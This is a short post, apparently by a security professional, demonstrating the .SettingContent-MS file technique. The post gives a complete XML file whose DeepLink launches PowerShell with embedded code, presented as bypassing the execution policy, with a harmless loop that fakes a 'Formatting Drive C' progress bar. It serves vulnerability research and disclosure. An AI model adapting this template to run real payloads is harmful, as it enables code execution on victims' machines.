Brad Voris

Executive & Security Professional at Cyber Forge Security, Inc.

June 27, 2018updated June 27, 2018last reply July 3, 2018310 views

SettingContent-MS lets run PowerShell code and bypass the execution policy

Lets have a little bit more fun with .SettingContent-MS File execution by using it to call PowerShell bypass the local execution policy, and execute an embedded code.

Some credit for the actual vulnerability goes to Matt Nelson.

A little bit about MS ExecutionPolicy for PowerShell:

https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-6

A little bit about bypassing MS ExecutionPolicy in PowerShell:

https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/

My .SettingContent-MS files for testing and validation:

https://github.com/bvoris/SettingContent-MS-File-Execution

Video of PowerShell ExecutionPolicy Bypass and Code Execution

I modified the original code, included the call for PowerShell, used -c to bypass execution, then run a For loop to simulated formatting of C drive.

Code for the actual file for calling PowerShell:

```
<?xml version="1.0" encoding="UTF-8"?>

<PCSettings>

<SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">

<ApplicationInformation>

<AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>

<DeepLink>"%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe" -c

For ($i=0; $i -le 100; $i++) {Start-Sleep -Milliseconds 20

Write-Progress -id 1 -Activity 'Formatting Drive C' -Status 'Current Count: $i' -PercentComplete $i -CurrentOperation 'Formatting ...'}</DeepLink>

<Icon>%windir%\system32\control.exe</Icon>

</ApplicationInformation>

<SettingIdentity>

<PageID></PageID>

<HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>

</SettingIdentity>

<SettingInformation>

<Description>@shell32.dll,-4161</Description>
```

```
<Keywords>@shell32.dll,-4161</Keywords>

</SettingInformation>

</SearchableContent>

</PCSettings>
```